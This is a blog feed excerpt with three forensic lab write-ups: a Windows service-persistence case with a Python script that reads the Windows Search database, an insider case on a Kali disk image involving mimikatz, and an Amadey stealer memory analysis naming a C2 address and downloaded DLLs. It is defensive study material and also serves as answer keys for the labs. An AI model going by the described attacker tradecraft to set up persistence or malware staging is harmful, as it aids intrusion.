&lt;p&gt;For this one I went into &lt;code&gt;Autopsy&lt;/code&gt; and searched for the string &lt;code&gt;ADMIN.exe&lt;/code&gt; across the disk image to see where else it showed up outside of prefetch, and that path took me into the &lt;code&gt;SYSTEM&lt;/code&gt; registry hive.&lt;/p&gt;
&lt;p&gt;Since the live &lt;code&gt;SYSTEM&lt;/code&gt; hive can be behind on what actually happened, I also checked &lt;code&gt;SYSTEM.LOG1&lt;/code&gt; (the transaction log) to catch anything that hadn&apos;t been fully committed/flushed yet, and that&apos;s where I found it, right above the &lt;code&gt;ADMIN.exe&lt;/code&gt; reference was a key called:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Digging into that key, its &lt;code&gt;ImagePath&lt;/code&gt; value pointed straight at: &lt;code&gt;C:\Windows\System32\admin.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So &lt;code&gt;WinCloudSyncManager&lt;/code&gt; is a fake Windows service the attacker registered under the &lt;code&gt;SYSTEM\CurrentControlSet\Services\&lt;/code&gt; hive, using a name designed to blend in with legit background sync/cloud services so it wouldn&apos;t stick out in &lt;code&gt;services.msc&lt;/code&gt; or Task Manager, and its &lt;code&gt;ImagePath&lt;/code&gt; is set to launch &lt;code&gt;ADMIN.exe&lt;/code&gt; which is what gives the attacker execution on every boot/service start without needing user interaction again&lt;/p&gt;
&lt;p&gt;This also ties back nicely to the prefetch timeline: the &lt;code&gt;sc.exe&lt;/code&gt; execution at &lt;code&gt;02:27:57&lt;/code&gt; is almost certainly the moment this service got created (&lt;code&gt;sc create&lt;/code&gt;/&lt;code&gt;sc.exe&lt;/code&gt; is the standard CLI for registering a Windows service), right after &lt;code&gt;curl.exe&lt;/code&gt; grabbed the payload at &lt;code&gt;02:24:25&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;WinCloudSyncManager&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q8: The attacker aimed to establish persistence what is the MITRE ATT&amp;amp;CK ID of the used technique? Format (T****.***)&lt;/h3&gt;
&lt;p&gt;This question required a bit of research, so I searched &quot;persistence by modifying a windows service mitre att&amp;amp;ck id&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Which led me to &lt;a href=&quot;https://attack.mitre.org/techniques/T1543/003/&quot;&gt;this&lt;/a&gt; resource that explained the mechanism and specified its MITRE ATT&amp;amp;CK ID&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;T1543.003&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q9: The attacker left a message for the victim trolling him, Get the main content of that txt file.&lt;/h3&gt;
&lt;p&gt;I noticed a file from the beginning in the &lt;code&gt;Desktop&lt;/code&gt; folder with a sus name, &lt;code&gt;St3Y_H3MbLe.txt&lt;/code&gt;, but it was empty&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So I went to check the recently opened files to see if it had a &lt;code&gt;.lnk&lt;/code&gt; file, and it did&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since the &lt;code&gt;.txt&lt;/code&gt; file on disk was empty, I figured Windows Search might&apos;ve indexed its content before it got wiped, so I went looking for &lt;code&gt;Windows.edb&lt;/code&gt; (the Windows Search index database) and I opened it up in &lt;code&gt;WinSearchDBAnalyzer&lt;/code&gt; and searched for &lt;code&gt;St3Y_H3MbLe.txt&lt;/code&gt; by filename. It showed up in the index with a matching &lt;code&gt;WorkID&lt;/code&gt;, but when I tried to view the actual content column, it was cut off / wouldn&apos;t render as the tool just couldn&apos;t pull the full text since &lt;code&gt;Windows.edb&lt;/code&gt; stores large content as an out-of-line &quot;long value&quot; rather than inline, and the GUI tool wasn&apos;t handling that properly&lt;/p&gt;
&lt;p&gt;So I noted down the &lt;code&gt;WorkID 432&lt;/code&gt; from &lt;code&gt;WinSearchDBAnalyzer&lt;/code&gt; and went looking for another way to query the ESE database directly. That&apos;s how I landed on &lt;a href=&quot;https://pypi.org/project/libesedb-python/&quot;&gt;&lt;code&gt;libesedb-python&lt;/code&gt;&lt;/a&gt;, which lets you parse &lt;code&gt;.edb&lt;/code&gt;/ESE database files in Python and actually reach into those long-value columns properly.&lt;/p&gt;
&lt;p&gt;I put together a script that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;opens the &lt;code&gt;Windows.edb&lt;/code&gt; file with &lt;code&gt;pyesedb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;loops through every table looking for one that has a &lt;code&gt;WorkID&lt;/code&gt; column&lt;/li&gt;
&lt;li&gt;finds the row matching the &lt;code&gt;WorkID&lt;/code&gt; I got from &lt;code&gt;WinSearchDBAnalyzer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;for each column in that row, checks if it&apos;s a &quot;long value&quot; (out-of-line large data) and if so pulls the &lt;em&gt;actual&lt;/em&gt; full content instead of just the truncated stub&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import argparse
import sys

try:
    import pyesedb
except ImportError:
    sys.exit(&quot;pyesedb not found. Install with: pip install libesedb-python --break-system-packages&quot;)

COLUMN_TYPE_NAMES = {
    0: &quot;NULL&quot;,
    1: &quot;BOOLEAN&quot;,
    2: &quot;INTEGER_8BIT_UNSIGNED&quot;,
    3: &quot;INTEGER_16BIT_SIGNED&quot;,
    4: &quot;INTEGER_32BIT_SIGNED&quot;,
    5: &quot;CURRENCY&quot;,
    6: &quot;FLOAT_32BIT&quot;,
    7: &quot;DOUBLE_64BIT&quot;,
    8: &quot;DATE_TIME&quot;,
    9: &quot;BINARY_DATA&quot;,
    10: &quot;TEXT&quot;,
    11: &quot;LARGE_BINARY_DATA&quot;,
    12: &quot;LARGE_TEXT&quot;,
    13: &quot;SUPER_LARGE_VALUE&quot;,
    14: &quot;INTEGER_32BIT_UNSIGNED&quot;,
    15: &quot;INTEGER_64BIT_SIGNED&quot;,
    16: &quot;GUID&quot;,
    17: &quot;INTEGER_16BIT_UNSIGNED&quot;,
}

def decode_value(record, col_index, col_type):
    &quot;&quot;&quot;Best-effort decode of a column value to something printable.

    Returns the raw bytes (not a garbled string) if no encoding produces
    genuinely printable text - this matters when a column&apos;s contents are
    encrypted/obfuscated rather than plain text, since blindly accepting
    the first successful UTF-16/UTF-8 decode() call (which rarely raises
    UnicodeDecodeError even on arbitrary bytes) hides that fact.

    Also handles ESE &quot;long values&quot;: large column data (e.g. AutoSummary,
    file content-ish columns) is stored out-of-line, and get_value_data()
    alone only returns a small inline stub/pointer, not the real bytes.
    &quot;&quot;&quot;
    try:
        if col_type in (2, 3, 4, 14, 15, 17):  # integer types
            return record.get_value_data_as_integer(col_index)

        # Long value (out-of-line large data) - fetch the real payload
        try:
            if record.is_long_value(col_index):
                long_val = record.get_value_data_as_long_value(col_index)
                if long_val is not None:
                    raw = long_val.get_data()
                    if raw is None:
                        return None
                    for enc in (&quot;utf-16-le&quot;, &quot;utf-8&quot;):
                        try:
                            decoded = raw.decode(enc)
                            stripped = decoded.rstrip(&quot;\x00&quot;)
                            if stripped and stripped.isprintable():
                                return stripped
                        except UnicodeDecodeError:
                            continue
                    return raw
        except AttributeError:
            pass  # this pyesedb build doesn&apos;t support is_long_value; fall through

        raw = record.get_value_data(col_index)
        if raw is None:
            return None

        for enc in (&quot;utf-16-le&quot;, &quot;utf-8&quot;):
            try:
                decoded = raw.decode(enc)
                stripped = decoded.rstrip(&quot;\x00&quot;)
                if stripped and stripped.isprintable():
                    return stripped
            except UnicodeDecodeError:
                continue

        return raw  # not genuinely printable text -&amp;gt; hand back raw bytes
    except Exception as e:
        return f&quot;&amp;lt;error decoding column: {e}&amp;gt;&quot;

def find_workid_records(edb_path, target_workid, target_filename=None):
    edb_file = pyesedb.file()
    edb_file.open(edb_path)

    print(f&quot;Opened &apos;{edb_path}&apos; - {edb_file.get_number_of_tables()} tables found.\n&quot;)

    matches = []

    for t_idx in range(edb_file.get_number_of_tables()):
        table = edb_file.get_table(t_idx)
        table_name = table.get_name()

        # Find column names/types/indices for this table
        columns = [table.get_column(c) for c in range(table.get_number_of_columns())]
        col_names = [c.get_name() for c in columns]
        col_types = [c.get_type() for c in columns]
        col_names_lower = [c.lower() for c in col_names]

        if &quot;workid&quot; not in col_names_lower:
            continue  # this table doesn&apos;t track WorkID, skip it

        workid_col = col_names_lower.index(&quot;workid&quot;)

        for r_idx in range(table.get_number_of_records()):
            record = table.get_record(r_idx)
            try:
                raw_val = record.get_value_data(workid_col)
            except Exception:
                continue
            if raw_val is None:
                continue
            try:
                workid_val = record.get_value_data_as_integer(workid_col)
            except Exception:
                continue

            if workid_val == target_workid:
                row = {}
                for c_idx, c_name in enumerate(col_names):
                    row[c_name] = decode_value(record, c_idx, col_types[c_idx])
                matches.append((table_name, row))

    edb_file.close()
    return matches

def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument(&quot;edb_path&quot;, help=&quot;Path to the .edb file (e.g. Windows.edb)&quot;)
    parser.add_argument(&quot;workid&quot;, type=int, help=&quot;WorkID to search for (e.g. 432)&quot;)
    parser.add_argument(
        &quot;--target-filename&quot;,
        default=None,
        help=&quot;Optional filename to verify against, e.g. st3y_h3mble.txt&quot;,
    )
    parser.add_argument(
        &quot;--save-content-to&quot;,
        default=None,
        help=&quot;Optional path to save extracted text content to a file&quot;,
    )
    args = parser.parse_args()

    matches = find_workid_records(args.edb_path, args.workid, args.target_filename)

    if not matches:
        print(f&quot;No records found with WorkID={args.workid}.&quot;)
        return

    for table_name, row in matches:
        print(f&quot;=== Match in table &apos;{table_name}&apos; ===&quot;)
        for col, val in row.items():
            if isinstance(val, bytes):
                display_val = f&quot;&amp;lt;{len(val)} bytes&amp;gt; hex: {val.hex()}&quot;
            else:
                display_val = val
            print(f&quot;  {col}: {display_val}&quot;)
        print()

        if args.save_content_to:
            # Heuristic: grab the longest text-like value as &quot;content&quot;
            text_candidates = [v for v in row.values() if isinstance(v, str) and len(v) &amp;gt; 20]
            if text_candidates:
                content = max(text_candidates, key=len)
                with open(args.save_content_to, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f:
                    f.write(content)
                print(f&quot;Saved likely content to {args.save_content_to}&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then I ran the script and grepped for &lt;code&gt;System_Search_AutoSummary&lt;/code&gt;, and I specifically went for it since that&apos;s the property Windows Search uses to generate the little preview snippet you see under a file in search results, so it&apos;s basically guaranteed to hold the file&apos;s actual text content&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I decoded the hex output and decoded it into UTF-16LE to actually read the content&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;D0n&apos;t_Trust_Just_V3rify&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q10: What is the exact creation time of this txt file on the victim machine? Format (YYY-MM-DD HH:MM:SS)&lt;/h3&gt;
&lt;p&gt;The exact creation time of &lt;code&gt;St3Y_H3MbLe.txt&lt;/code&gt; can be found in multiple ways, but I chose to parse its &lt;code&gt;.lnk&lt;/code&gt; file by &lt;code&gt;LECmd&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; ./LECmd.exe -f &quot;path\to\St3Y_H3MbLe.txt.lnk&quot; --json out.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then I opened the output and noticed the target creation time:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;SourceFile&quot;:&quot;&quot;,
&quot;SourceCreated&quot;:&quot;2026-07-24T13:16:46.6277622+00:00&quot;,
&quot;SourceModified&quot;:&quot;2026-06-25T02:34:50.0000000+00:00&quot;,
&quot;SourceAccessed&quot;:&quot;2026-07-25T10:26:05.8407872+00:00&quot;,
&quot;TargetCreated&quot;:&quot;2026-06-25T02:31:34.5376269+00:00&quot;,
&quot;TargetModified&quot;:&quot;2026-06-25T02:31:34.5376269+00:00&quot;,
&quot;TargetAccessed&quot;:&quot;2026-06-25T02:32:12.0998081+00:00&quot;,
&quot;FileSize&quot;:931,
&quot;RelativePath&quot;:&quot;..\\..\\..\\..\\..\\Desktop\\St3Y_H3MbLe.txt&quot;,
&quot;WorkingDirectory&quot;:&quot;C:\\Users\\mm370\\Desktop&quot;,
&quot;FileAttributes&quot;:&quot;FileAttributeArchive&quot;,
&quot;HeaderFlags&quot;:&quot;HasTargetIdList, HasLinkInfo, HasRelativePath, HasWorkingDir, IsUnicode, DisableKnownFolderTracking&quot;,
&quot;DriveType&quot;:&quot;Fixed storage media (Hard drive)&quot;,
&quot;VolumeSerialNumber&quot;:&quot;5E716849&quot;,
&quot;LocalPath&quot;:&quot;C:\\Users\\mm370\\Desktop\\St3Y_H3MbLe.txt&quot;,
&quot;TargetIDAbsolutePath&quot;:&quot;St3Y_H3MbLe.txt&quot;,
&quot;TargetMFTEntryNumber&quot;:&quot;0x1CC&quot;,
&quot;TargetMFTSequenceNumber&quot;:&quot;0x9&quot;,
&quot;MachineID&quot;:&quot;desktop-57opf17&quot;,
&quot;MachineMACAddress&quot;:&quot;00:0c:29:11:20:33&quot;,
&quot;MACVendor&quot;:&quot;VMWARE&quot;,
&quot;TrackerCreatedOn&quot;:&quot;2026-05-26T23:05:09.7260222+00:00&quot;,
&quot;ExtraBlocksPresent&quot;:&quot;TrackerDataBaseBlock, PropertyStoreDataBlock&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;2026-06-25 02:31:34&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Final Flag:&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;And that was all, hope you enjoyed this writeup!! :&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Insider Cyberdefenders Lab Writeup</title><link>https://ssumix.vercel.app/posts/labs/cyberdefenders/insider/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/labs/cyberdefenders/insider/</guid><description>A detailed writeup for Insider lab on Cyberdefenders</description><pubDate>Sat, 18 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Lab Scenario:&lt;/strong&gt; After Karen started working for &lt;strong&gt;TAAUSAI&lt;/strong&gt;, she began performing illegal activities inside the company. TAAUSAI hired you as a SOC analyst to investigate the case. A disk image was acquired, and it was found that Karen used a Linux operating system on her machine. Analyze the disk image and answer the provided questions.&lt;/p&gt;
&lt;p&gt;We are given an &lt;code&gt;.ad1&lt;/code&gt; disk image file, which I opened in &lt;strong&gt;FTK Imager&lt;/strong&gt; to start my investigation.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Q1: Which Linux distribution is being used on this machine?&lt;/h3&gt;
&lt;p&gt;After loading the disk image, I checked the provided directories: &lt;code&gt;boot&lt;/code&gt;, &lt;code&gt;root&lt;/code&gt;, and &lt;code&gt;var&lt;/code&gt;. I started with the &lt;code&gt;boot&lt;/code&gt; directory, looking for indicators of the Linux distribution. I noticed that all of the boot files had Kali-related names, which confirmed that the operating system being used was &lt;strong&gt;Kali Linux&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./insider1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;kali&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q2: What is the MD5 hash of the Apache &lt;code&gt;access.log&lt;/code&gt; file?&lt;/h3&gt;
&lt;p&gt;I navigated to the &lt;code&gt;access.log&lt;/code&gt; file located under &lt;code&gt;/var/log/apache2&lt;/code&gt;. &lt;strong&gt;FTK Imager&lt;/strong&gt; automatically calculated the file&apos;s MD5 hash, which I used as the answer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./insider2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;d41d8cd98f00b204e9800998ecf8427e&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q3: It is suspected that a credential dumping tool was downloaded. What is the name of the downloaded file?&lt;/h3&gt;
&lt;p&gt;I headed to the &lt;code&gt;/Downloads&lt;/code&gt; directory and found a ZIP archive named &lt;code&gt;mimikatz_trunk.zip&lt;/code&gt;. After checking its contents, I found a &lt;code&gt;README.md&lt;/code&gt; file that clearly described &lt;strong&gt;Mimikatz&lt;/strong&gt; as a credential dumping tool capable of extracting plaintext passwords, hashes, PINs, and Kerberos tickets from memory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./insider3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;mimikatz_trunk.zip&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q4: A super-secret file was created. What is the absolute path to this file?&lt;/h3&gt;
&lt;p&gt;To identify files created by the user, I checked the &lt;code&gt;.bash_history&lt;/code&gt; file for any file creation commands that might reveal the secret file&apos;s location. I found the command responsible for creating the file, which contained its absolute path.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./insider4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;/root/Desktop/SuperSecretFile.txt&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q5: What program used the file &lt;code&gt;didyouthinkwedmakeiteasy.jpg&lt;/code&gt; during its execution?&lt;/h3&gt;
&lt;p&gt;I checked &lt;code&gt;.bash_history&lt;/code&gt; again and searched for any commands referencing &lt;code&gt;didyouthinkwedmakeiteasy.jpg&lt;/code&gt;. I found the command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;binwalk didyouthinkwedmakeiteasy.jpg&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This confirmed that the program used to analyze the file was &lt;strong&gt;binwalk&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./insider5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;binwalk&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q6: What is the third goal from the checklist Karen created?&lt;/h3&gt;
&lt;p&gt;I checked the &lt;code&gt;/Desktop&lt;/code&gt; directory, which contained a folder named &lt;code&gt;mimikatz&lt;/code&gt; and a file named &lt;code&gt;Checklist&lt;/code&gt;. After viewing the contents of the checklist, I found three listed goals. The third goal was &lt;strong&gt;Profit&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./insider6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;Profit&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q7: How many times was Apache run?&lt;/h3&gt;
&lt;p&gt;I checked the Apache &lt;code&gt;access.log&lt;/code&gt; file again, and it appeared to be empty. Since there were no logged requests, this indicated that Apache had not been used.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./insider7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;0&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q8: This machine was used to launch an attack on another. Which file contains the evidence for this?&lt;/h3&gt;
&lt;p&gt;Ooookay, after looking through the &lt;code&gt;/root&lt;/code&gt; directory again, I noticed an image with a weird name. After opening it, I saw that it was a screenshot showing malicious commands being executed with administrative privileges, indicating that the machine had been used to perform an attack.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./insider8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;irZlAohL.jpeg&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q9: It is believed that Karen was taunting a fellow computer expert through a bash script within the Documents directory. Who was the expert that Karen was taunting?&lt;/h3&gt;
&lt;p&gt;I headed to the &lt;code&gt;/Documents&lt;/code&gt; directory and checked the contents of the &lt;code&gt;myfirsthack&lt;/code&gt; folder. I noticed that the &lt;code&gt;firstscript_fixed&lt;/code&gt; file contained a line directly mentioning someone&apos;s name.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./insider9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;Young&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q10: A user executed the &lt;code&gt;su&lt;/code&gt; command to gain root access multiple times at 11:26. Who was the user?&lt;/h3&gt;
&lt;p&gt;To investigate the execution of the &lt;code&gt;su&lt;/code&gt; command and privilege escalation attempts, I checked the &lt;code&gt;auth.log&lt;/code&gt; file under &lt;code&gt;/var/log&lt;/code&gt;. Since the log was quite large, I focused only on the entries around the &lt;code&gt;11:26&lt;/code&gt; timestamp.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./insider10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The log revealed that the user &lt;code&gt;postgres&lt;/code&gt; executed the &lt;code&gt;su&lt;/code&gt; command multiple times during that period.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;postgres&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q11: Based on the bash history, what is the current working directory?&lt;/h3&gt;
&lt;p&gt;I checked &lt;code&gt;.bash_history&lt;/code&gt; once again and found several &lt;code&gt;cd&lt;/code&gt; commands. The last &lt;code&gt;cd&lt;/code&gt; command is a good indicator of the current working directory, so I used its destination as the answer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./insider11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;/root/Documents/myfirsthack/&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;And that was all! Hope you enjoyed reading this writeup :&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Amadey-APT-C-36 Cyberdefenders Lab Writeup</title><link>https://ssumix.vercel.app/posts/labs/cyberdefenders/amadey/</link><guid isPermaLink="true">https://ssumix.vercel.app/posts/labs/cyberdefenders/amadey/</guid><description>A detailed writeup for Amadey-APT-C-36 lab on Cyberdefenders</description><pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Lab Scenario:&lt;/strong&gt; An after-hours alert from the Endpoint Detection and Response (EDR) system flags suspicious activity on a Windows workstation. The flagged malware aligns with the Amadey Trojan Stealer. Your job is to analyze the presented memory dump and create a detailed report for actions taken by the malware.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Q1: In the memory dump analysis, determining the root of the malicious activity is essential for comprehending the extent of the intrusion. What is the name of the parent process that triggered this malicious behavior?&lt;/h3&gt;
&lt;p&gt;After viewing the process using the &lt;code&gt;pstree&lt;/code&gt; plugin to understand relations between processes, I noticed a suspicious process:
&lt;img src=&quot;./amadey1.png&quot; alt=&quot;&quot; /&gt;
The &lt;code&gt;lssass.exe&lt;/code&gt; process caught my eye as it mimics the legitimate Windows process &lt;code&gt;lsass.exe&lt;/code&gt; (Local Security Authority Subsystem Service). It also has a child process &lt;code&gt;rundll32.exe&lt;/code&gt;, which is commonly abused by malware to execute malicious DLLs, making &lt;code&gt;lssass.exe&lt;/code&gt; highly suspicious.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;lssass.exe&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q2: Once the rogue process is identified, its exact location on the device can reveal more about its nature and source. Where is this process housed on the workstation?&lt;/h3&gt;
&lt;p&gt;To get the location of the malicious process I used the &lt;code&gt;cmdline&lt;/code&gt; plugin and grepped for &lt;code&gt;lssass.exe&lt;/code&gt; &apos;s PID: &lt;strong&gt;2748&lt;/strong&gt;.
&lt;img src=&quot;./amadey2.png&quot; alt=&quot;&quot; /&gt;
Another approach was grepping the PID from the &lt;code&gt;filescan&lt;/code&gt; plugin output, which also revealed the malicious process&apos;s path.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;C:\Users\0XSH3R~1\AppData\Local\Temp\925e7e99c5\lssass.exe&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q3: Persistent external communications suggest the malware&apos;s attempts to reach out C2C server. Can you identify the Command and Control (C2C) server IP that the process interacts with?&lt;/h3&gt;
&lt;p&gt;For this question, I used the &lt;code&gt;netscan&lt;/code&gt; plugin to check network connections made by the system and grepped for the malicious process&apos;s PID to identify the IP address it communicated with:
&lt;img src=&quot;./amadey3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;41.75.84.12&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q4: Following the malware link with the C2C, the malware is likely fetching additional tools or modules. How many distinct files is it trying to bring onto the compromised workstation?&lt;/h3&gt;
&lt;p&gt;Since the communication between the malware and the attacker happened over port &lt;strong&gt;80&lt;/strong&gt;, the traffic was unencrypted, meaning the raw HTTP requests could potentially be recovered from memory. So I used &lt;code&gt;strings&lt;/code&gt; on the memory dump and filtered out for the attacker&apos;s IP and 2 lines before and after it to view the full request:
&lt;img src=&quot;./amadey4.png&quot; alt=&quot;&quot; /&gt;
And found two &lt;code&gt;GET&lt;/code&gt; requests showing the malware downloading the files &lt;code&gt;cred64.dll&lt;/code&gt; and &lt;code&gt;clip64.dll&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;2&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q5: Identifying the storage points of these additional components is critical for containment and cleanup. What is the full path of the file downloaded and used by the malware in its malicious activity?&lt;/h3&gt;
&lt;p&gt;Since we already identified &lt;code&gt;clip64.dll&lt;/code&gt; in Q4, I searched for it in the &lt;code&gt;filescan&lt;/code&gt; output to locate its path. Another way to confirm this was by checking the command line arguments of the child process &lt;code&gt;rundll32.exe&lt;/code&gt;, which revealed the DLL being executed:
&lt;img src=&quot;./amadey5.png&quot; alt=&quot;&quot; /&gt;
&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;C:\Users\0xSh3rl0ck\AppData\Roaming\116711e5a2ab05\clip64.dll&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q6: Once retrieved, the malware aims to activate its additional components. Which child process is initiated by the malware to execute these files?&lt;/h3&gt;
&lt;p&gt;We actually noted the answer to this question from the very beginning. The child process of the malware was clear from &lt;code&gt;pstree&lt;/code&gt; &apos;s output to be &lt;code&gt;rundll32.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;rundll32.exe&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Q7: Understanding the full range of Amadey&apos;s persistence mechanisms can help in an effective mitigation. Apart from the locations already spotlighted, where else might the malware be ensuring its consistent presence?&lt;/h3&gt;
&lt;p&gt;I grepped for the malicious executable&apos;s name in the &lt;code&gt;filescan&lt;/code&gt; output and found three paths:
&lt;img src=&quot;./amadey6.png&quot; alt=&quot;&quot; /&gt;
The first path was the primary location of the file, which we had already seen before. The second path was inside the Windows Tasks directory, suggesting a persistence mechanism that would automatically execute the malware at startup or user logon. The third path was located in the Temp directory, which wasn&apos;t particularly interesting.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Answer:&lt;/strong&gt; &lt;code&gt;C:\Windows\System32\Tasks\lssass.exe&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;During the investigation, I identified &lt;code&gt;lssass.exe&lt;/code&gt; as the initial malicious process. It communicated with the C2 server at &lt;code&gt;41.75.84.12&lt;/code&gt;, downloaded additional DLL payloads, executed them using &lt;code&gt;rundll32.exe&lt;/code&gt;, and established persistence through a scheduled task.&lt;/p&gt;
&lt;p&gt;And that&apos;s it! Thanks for reading, and don&apos;t forget to check out my other writeups :&amp;gt;&lt;/p&gt;
